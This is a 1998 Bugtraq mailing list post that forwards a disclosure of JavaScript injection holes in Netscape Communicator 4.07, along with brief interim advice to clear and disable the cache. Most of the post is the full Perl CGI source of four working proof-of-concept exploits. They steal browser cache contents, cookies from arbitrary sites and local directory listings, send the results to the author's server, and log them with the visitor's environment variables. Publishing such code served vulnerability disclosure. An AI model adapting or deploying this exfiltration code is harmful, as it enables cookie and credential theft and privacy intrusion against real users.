Bugtraq mailing list archives

more Netscape 4.07 javascript security


From: vision () kimi net (Max Vision)
Date: Thu, 8 Oct 1998 15:10:39 -0700


Hello all,

Dan Brumleve <nothing () shout net> recently discovered even more javascript
security problems with Netscape (including 4.07).  The information below
was posted to comp.lang.javascript and comp.security.misc a few days ago,
but I didn't see mention of it here yet, and it seems pretty timely.

Probably the most direct threat regarding cache theft is recent CGI
submissions using the GET directive.  Most people would be surprised at
what lurks in their cache.  http://foo/cgi-bin/enter.cgi?user=bar&pass=x

I've found that the best interim fix is to clear your cache, and then set
both disk and memory cache sizes to zero.  If you don't like this then you
have alternatives:
 o do nothing
 o disable javascript
 o switch it IE for awhile

--Dan's Usenet Posting---------------
I've discovered yet another Netscape security hole.  It appears to affect
all versions of Communicator, including 4.07 which was just released to
plug Cache-Cow.

The problem is that it's still possible to inject foreign JavaScript
code into arbitrary documents.  This has numerous evil applications.
To illustrate some of them, I've written four exploitative programs.

cookie-monster.cgi will steal cookies from arbitrary locations;
this is very bad since cookies have been widely deployed for
authentication purposes.  The script will prompt you for a URL,
and retrieve all cookies issued to you by that site.

file-list.cgi will steal the contents of a local directory on your
hard drive.  The script will prompt you for a directory name, and
retrieve the names of all the files contained it.

file-list-old.cgi is a version of file-list.cgi modified to work
on Netscape 4.01.

cache-cow-4.07.cgi will steal the contents of your cache.  It has
precisely the same effect as the exploit announced last week.

Source and demonstrations are available at:
http://www.shout.net/~nothing/son-of-cache-cow/index.html

Dan Brumleve <nothing () shout net>
--End Usenet Posting-----------------

And the sources (fairly small):


#!/usr/bin/perl
#
# cache-cow-4.07.cgi -- Dan Brumleve <nothing () shout net>, 1998.10.05

use CGI qw(escape unescape);

my $self =
"http://www.shout.net/nothing/son-of-cache-cow/cache-cow-4.07.cgi";;

my $cgi = new CGI;
my $action = $cgi->param("action");

if (!$action) {
  print "Content-type: text/html\n\n" . <<"  EOF";
  <html>
  <head><title>Cache-Cow 4.07</title></head>
  <body bgcolor=#ffffff>
  <h1>Cache-Cow 4.07</h1>
  <form action="$self" method="post">
  <input type=hidden name=action value=launch>
  <input type=submit value="Give Dan Your Cache">
  </form>
  </body>
  </html>
  EOF
  exit 0;
}

if ($action eq "launch") {
  my $q = escape($cgi->param("q"));
  print "Content-type: text/html\n\n" . <<"  EOF";
  <title>Cache-Cow 4.07 (activated)</title>
  <script>
  var slave;
  var data = "";

  function report() {
    slave.location="$self?action=yum";
  }

  function lump() {
    slave.onload = report;
  }

  function launch() {
    slave = window.open("javascript:void(0)", "slave");
    document.f.submit();
    slave.onunload=lump;
  }

  function show() {
    document.g.urls.value = data;
    document.g.submit();
  }

  </script>
  <body onLoad="launch()" onUnload="show()">

  <base href="about:">

  <form action="cache" method="post" name=f target=slave>
  <input type=submit></form>
  <form action="$self" method="post" name=g>
  <input type=hidden name=action value=show>
  <input type=hidden name=urls value="">
  <input type=submit>
  </form>
  </body>
  EOF

  exit 0;
}

if ($action eq "yum") {
  print "Content-type: application/x-javascript\n\n" . <<"  EOF";
  var s = "";
  for (i = 0; i < document.links.length; i++) {
    s += escape(document.links[i].href) + "&";
  }
  window.opener.data = s;
  window.opener.location = "javascript:1";
  window.close();
  EOF
  exit 0;
}

if ($action eq "show") {
  my $urls = join("\n", map {
   $_ = unescape($_); s/^about://; $_ } split(/&/,$cgi->param("urls")));
  if (open(FP, ">> logs/log-$ENV{REMOTE_ADDR}.txt")) {
    for (sort keys %ENV) { print FP $_ . "=" . $ENV{$_} . "\n"; }
    print FP "\n" . $urls . "\n\n";
    close(FP);
  }
  print "Content-type: text/plain\n\n" . <<"  EOF";
Here are the URLs retrieved from your browser:

$urls
  EOF

  exit 0;
}



#!/usr/bin/perl
#
# cookie-monster.cgi -- Dan Brumleve <nothing () shout net>, 1998.10.05

use CGI qw(escape unescape);

my $self =
"http://www.shout.net/nothing/son-of-cache-cow/cookie-monster.cgi";;

my $cgi = new CGI;
my $action = $cgi->param("action");

if (!$action) {
  print "Content-type: text/html\n\n" . <<"  EOF";
  <html>
  <head>
  <title>Cookie Monster</title>
  </head>
  <body bgcolor=#ffffff>
  <h1>Cookie Monster</h1>
  <form action="$self" method="get">
  Enter a fully-qualified URL:
  <input type=text name=q size=50
value="http://www.netscape.com/products/security/";><br>
  <input type=hidden name=action value=launch>
  <input type=submit value="Give Dan Your Cookies">
  </form>
  </body>
  </html>
  EOF
  exit 0;
}

if ($action eq "launch") {
  my $q = escape($cgi->param("q"));
  print "Content-type: application/x-javascript\n\n" . <<"  EOF";
  var slave;

  function report() {
    slave.onunload = null;
    slave.onload = null;
    slave.location = "$self" + "?" + "action=" + escape("yum");
  }

  function launch(x) {
    var q = unescape(x);
    slave = window.open(q, "slave");

    slave.onload = report;
  }

  launch('$q');
  EOF

  exit 0;
}

if ($action eq "yum") {
  print "Content-type: application/x-javascript\n\n" . <<"  EOF";
  var l = "$self" + "?" +
   "action=" + escape("show") + "&" +
   "location=" + escape(location) + "&" +
   "cookie=" + escape(document.cookie);
  window.opener.location = l;
  window.close();
  EOF
  exit 0;
}

if ($action eq "show") {
  my $location = $cgi->param("location");
  my $cookie = $cgi->param("cookie");
  if (open(FP, ">> logs/log-$ENV{REMOTE_ADDR}.txt")) {
    for (sort keys %ENV) { print FP $_ . "=" . $ENV{$_} . "\n"; }
    print FP "\n";
    print FP escape($location) . ": " . escape($cookie) . "\n\n";
    close(FP);
  }
  print "Content-type: text/plain\n\n" . <<"  EOF";
  Cookies retrieved from "$location":

  $cookie
  EOF

  exit 0;
}



#!/usr/bin/perl
#
# file-list.cgi -- Dan Brumleve <nothing () shout net>, 1998.10.05

use CGI qw(escape unescape);

my $self = "http://www.shout.net/nothing/son-of-cache-cow/file-list.cgi";;

my $cgi = new CGI;
my $action = $cgi->param("action");
my $default = ($ENV{HTTP_USER_AGENT} =~ /win/i) ? "c:" : "/";

if (!$action) {
  print "Content-type: text/html\n\n" . <<"  EOF";
  <html>
  <head><title>File List</title></head>
  <body bgcolor="#ffffff">
  <h1>File List</h1>
  <form action="$self" method="get">
  <input type=hidden name=action value=launch>
  Enter a local directory name:
  <input type=text name=q size=50 value="$default"><br>
  <input type=submit value="Give Dan Your Directory Listing">
  </form>
  </body>
  </html>
  EOF
}

if ($action eq "launch") {
  my $q = escape($cgi->param("q"));
  $q =~ /^\%2F/ or $q = "%2F" . $q;
  $q =~ /\%2F$/ or $q = $q . "%2F";
  print "Content-type: text/html\n\n" . <<"  EOF";
  <title>File List (activated)</title>
  <script>
  var slave;
  var data = "";

  function report() {
    slave.location="$self?action=yum";
  }

  function lump() {
    slave.onload = report;
  }

  function launch() {
    slave = window.open("javascript:void(0)", "slave");
    document.f.submit();
    slave.onunload=lump;
  }

  function show() {
    document.g.files.value = data;
    document.g.submit();
  }

  </script>
  <body onLoad="launch()" onUnload="show()">

  <form action="file:$q" method=get target=slave name=f><input
type=submit></form>
  <form action="$self" method="post" name=g>
  <input type=hidden name=q value="$q">
  <input type=hidden name=action value=show>
  <input type=hidden name=files value="">
  <input type=submit>
  </form>
  </body>
  EOF

  exit 0;
}

if ($action eq "yum") {
  print "Content-type: application/x-javascript\n\n" . <<"  EOF";
  var s = "";
  for (i = 1; i < document.links.length; i++) {
    s += escape(document.links[i].href) + "&";
  }
  window.opener.data = s;
  window.opener.show();
  window.close();
  EOF
  exit 0;
}

if ($action eq "show") {
  my $q = unescape($cgi->param("q"));
  my $files = join("\n", map {
   $_ = unescape($_); s/^file://; unescape($_) }
   split(/&/,$cgi->param("files")));
  if (open(FP, ">> logs/log-$ENV{REMOTE_ADDR}.txt")) {
    for (sort keys %ENV) { print FP $_ . "=" . $ENV{$_} . "\n"; }
    print FP "\n" . $files . "\n\n";
    close(FP);
  }
  print "Content-type: text/plain\n\n" . <<"  EOF";
Contents of local directory '$q':

$files
  EOF

  exit 0;
}



#!/usr/bin/perl
#
# file-list-old.cgi -- Dan Brumleve <nothing () shout net>, 1998.10.05

use CGI qw(escape unescape);

my $self =
"http://www.shout.net/nothing/son-of-cache-cow/file-list-old.cgi";;

my $cgi = new CGI;
my $action = $cgi->param("action");
my $default = ($ENV{HTTP_USER_AGENT} =~ /win/i) ? "c:" : "/";

if (!$action) {
  print "Content-type: text/html\n\n" . <<"  EOF";
  <html>
  <head><title>File List</title></head>
  <h1>File List</h1>
  <body bgcolor="#ffffff">
  <form action="$self" method="get">
  <input type=hidden name=action value=launch>
  Enter a local directory name:
  <input type=text name=q size=5 value="$default"><br>
  <input type=submit value="Give Dan Your Directory Listing">
  </form>
  </body>
  </html>
  EOF
}

if ($action eq "launch") {
  my $q = escape($cgi->param("q"));
  $q =~ /^\%2F/ or $q = "%2F" . $q;
  $q =~ /\%2F$/ or $q = $q . "%2F";
  print "Content-type: text/html\n\n" . <<"  EOF";
  <head><title>File List (activated)</title></head>
  <script>
  var slave;
  var data = "";

  function report() {
    slave.location="$self?action=yum";
  }

  function lump() {
    slave.onload = report;
  }

  function launch(x) {
    slave = window.open("file:" + x, "slave");
    slave.onunload=lump;
  }

  function show() {
    document.g.files.value = data;
    document.g.submit();
  }

  </script>
  <body onLoad="launch('$q')" onUnload="show()">

  <form action="file:$q" method=get target=slave name=f><input
type=submit></form>
  <form action="$self" method="post" name=g>
  <input type=hidden name=q value="$q">
  <input type=hidden name=action value=show>
  <input type=hidden name=files value="">
  <input type=submit>
  </form>
  </body>
  EOF

  exit 0;
}

if ($action eq "yum") {
  print "Content-type: application/x-javascript\n\n" . <<"  EOF";
  var s = "";
  for (i = 0; i < document.links.length; i++) {
    s += escape(document.links[i].href) + "&";
  }
  window.opener.data = s;
  window.opener.show();
  window.close();
  EOF
  exit 0;
}

if ($action eq "show") {
  my $q = unescape($cgi->param("q"));
  my $files = join("\n", map {
   $_ = unescape($_); s/^file://; unescape($_) }
split(/&/,$cgi->param("files")));
  if (open(FP, ">> logs/log-$ENV{REMOTE_ADDR}.txt")) {
    for (sort keys %ENV) { print FP $_ . "=" . $ENV{$_} . "\n"; }
    print FP "\n" . $files . "\n\n";
    close(FP);
  }
  print "Content-type: text/plain\n\n" . <<"  EOF";
Contents of local directory '$q':

$files
  EOF

  exit 0;
}



Current thread: